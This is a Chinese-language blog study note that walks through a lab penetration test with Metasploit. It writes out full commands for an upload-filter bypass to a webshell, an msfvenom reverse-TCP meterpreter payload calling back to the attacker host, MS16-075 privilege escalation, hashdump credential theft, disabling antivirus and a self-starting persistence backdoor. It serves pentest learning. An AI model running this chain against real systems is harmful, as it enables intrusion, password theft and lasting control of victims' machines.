本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
Metasploit(简称msf)框架是一个开源的,旨在方便地进行渗透测试的框架,由Ruby语言编写而成,具有很好地拓展性,便于渗透测试人员开发,使用定制的工具模板。
在Kali Linux自带了Metasploit,在控制台输入msfconsole
,启动msf
kali中自带的msf版本是5,可自行升级。
笔者的话:本来我是不想写msf框架的,因为我认为Web安全只需要拿到WebShell就达到了目标,但是在我经过了几次实战时候,我发现了msf的重要性,msf框架在漏洞扫描,后渗透等多个方面都非常优秀,因此有了这篇文章。
msf存在多个模块,在这里进行介绍
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行
扫描、嗅探、指纹识别等相关功能以辅助渗透测试
漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞
进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序
攻击,以及利用配置错误等,其中包含攻击者或渗透测试人员针对系统
中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,
每个漏洞都有相应的攻击代码。
攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码,
成功渗透目标后,用于在目标系统上运行任意命令或者执行特定代码,
在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能
是简单地在目标操作系统系统上执行一些命令,如添加用户账号等。
该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透
攻击动作,如获取敏感信息、实施跳板攻击等。
该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、
IDS及类似的安全软件检测出。
我将通过一个完整的渗透测试来进行msf框架的初步讲解,这是我在一次实战中的操作,我用虚拟机进行了简单的模拟。
攻击机(Kali):192.168.157.131
目标机(Win7 x64):192.168.157.128
访问目标机,看见一个文件上传点。
尝试上传WebShell,提示 “不正确的文件类型”
使用bp抓包,上传图片马,提示保存成功
把后缀改为php,成功上传
蚁剑访问,成功获取WebShell
使用whoami
指令查看当前权限
在Kali中输入以下指令生成一个msf的木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.131 lport=4444 -f exe > shell.exe
其中, windows/meterpreter/reverse_tcp 是msf将要使用的 payload, lhost 是攻击机的ip地址,lport 是攻击机将要监听的端口。
通过这个语句,生成一个exe的木马
接下来将木马上传到被攻击的服务器上
在kali下输入msfconsole
进入msf的控制台
输入:use exploit/multi/handler
进入远程控制模块
输入:set payload windows/meterpreter/reverse_tcp
使用Windows tcp远程反弹Payload
输入options
查看该模块的参数
其中 LHOST 是生成木马时填写的 lhost ,LPORT 是生成木马时填写的 lport
输入:set LHOST 192.168.157.131
来设置攻击机ip地址
输入:set LPORT 4444
来设置攻击机监听端口
可以通过options查看当前参数
参数中Require的值为Yes的参数是必填项
同时,在蚁剑中,进入控制台,输入shell.exe
运行我们先前上传的木马程序
此时可以看到,在msf中收到了响应,反弹了一个Meterpreter的shell
在Meterpreter中输入help
查看帮助信息,在这里简单讲解一些指令
指令 | 介绍 |
---|---|
migrate | 进程迁徙。可以通过“migrate pid”来迁徙到其他进程中。其中,pid是被迁徙的进程id。(注:只有Windows可用) |
getuid | 获取当前权限 |
getpid | 获取当前进程id |
sysinfo | 返回系统信息 |
getsystem | 直接提升到最高权限(一般成功不了) |
run killav | 关闭杀毒软件。在取得Meterpreter shell后最好最先执行该语句 |
shell | 进入目标机shell,输入“exit”退回到Meterpreter |
pwd或getwd | 查看当前处于目标机的哪个目录 |
ls | 列出当前目录下的所有文件 |
cd | 切换目录 |
search | 在目标机中搜索文件。例如输入“search -f *.txt -d C:/”搜索C盘中所有后缀为txt的文件 |
upload | 上传文件。例如输入“upload 1.txt C:/1.txt”将攻击机目录下的1.txt上传到目标机的C盘 |
download | 下载文件。例如输入“download C:/1.txt 1.txt”将目标机C盘下的1.txt下载到攻击机上 |
输入getuid
查看当前权限,发现是manlu权限
输入shell
进入目标机shell,输入systeminfo
查看系统详细信息,包括但不限于系统补丁信息
接下来要在补丁中查找那些没有打的补丁,并且去网上找相关的exp进行提权
在这里我使用ms16_075 (KB3164038) 漏洞进行提权
回到meterpreter shell,输入background
将当前shell转为后台执行,可以输入sessions
查看目前已建立的session
接下来输入search ms16_075
寻找相应的exp
可以看到,名为exploit/windows/local/ms16_075_reflection_juicy的exp评价是great,在这里就使用该exp进行提权
输入:use exploit/windows/local/ms16_075_reflection_juicy
或use 1
来选取要使用的exp
输入options
查看该exp参数
只有一个参数SESSION需要填写
输入sessions
查看建立的连接,找到需要提权的session,通过SET指定SESSION
接下来输入run
执行即可
如果提权成功,会重新返回一个Meterpreter shell
此时再输入getuid
查看权限,发现我们已经是system了
在这里简单讲一下密码的抓取,具体的密码抓取会在之后详细讲解
在Meterpreter shell中输入run windows/gather/hashdump
导出密码
得到密码的格式是类似这样的
UserName:500:xxxx:xxxx
其中第一个是用户名,第二个数字代表权限,500表示是管理员权限,后面两个加密的内容是密码,其中第二个加密的内容就是用户密码
例如,我想获取用户manlu的密码,我将密文复制
32ed87bdb5fdc5e9cba88547376818d4
接下来在网上解密
得到用户manlu的明文密码为123456
注:抓取密码需要SYSTEM权限
我们通过持久化后门来进行权限维持
Persistence是一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。
输入run persistence -h
查看所有的命令选项
run persistence -A -S -U -i 10 -p 1234 -r 192.168.157.131
语法解释:
在这个语句中,我设置每隔10秒钟回连一次,这样目标机就会每隔10秒连接一次攻击机。
可以看到,在输入指令后,提示在目标机上新建了一个vbs文件并创建了一个服务。
此时我们重新打开一个msf终端,设置
payload:
windows/meterpreter/reverse_tcp
lhost:
192.168.157.131
lport:
1234
等待10秒,就可以收到目标机的连接
这样成功创建了持久化后门
这篇文章并不是正式的教程,只是为了写一下使用Metasploit框架渗透的基本流程,同时写出msf框架的强大之处。在之后的文章,会详细写Metasploit框架的操作。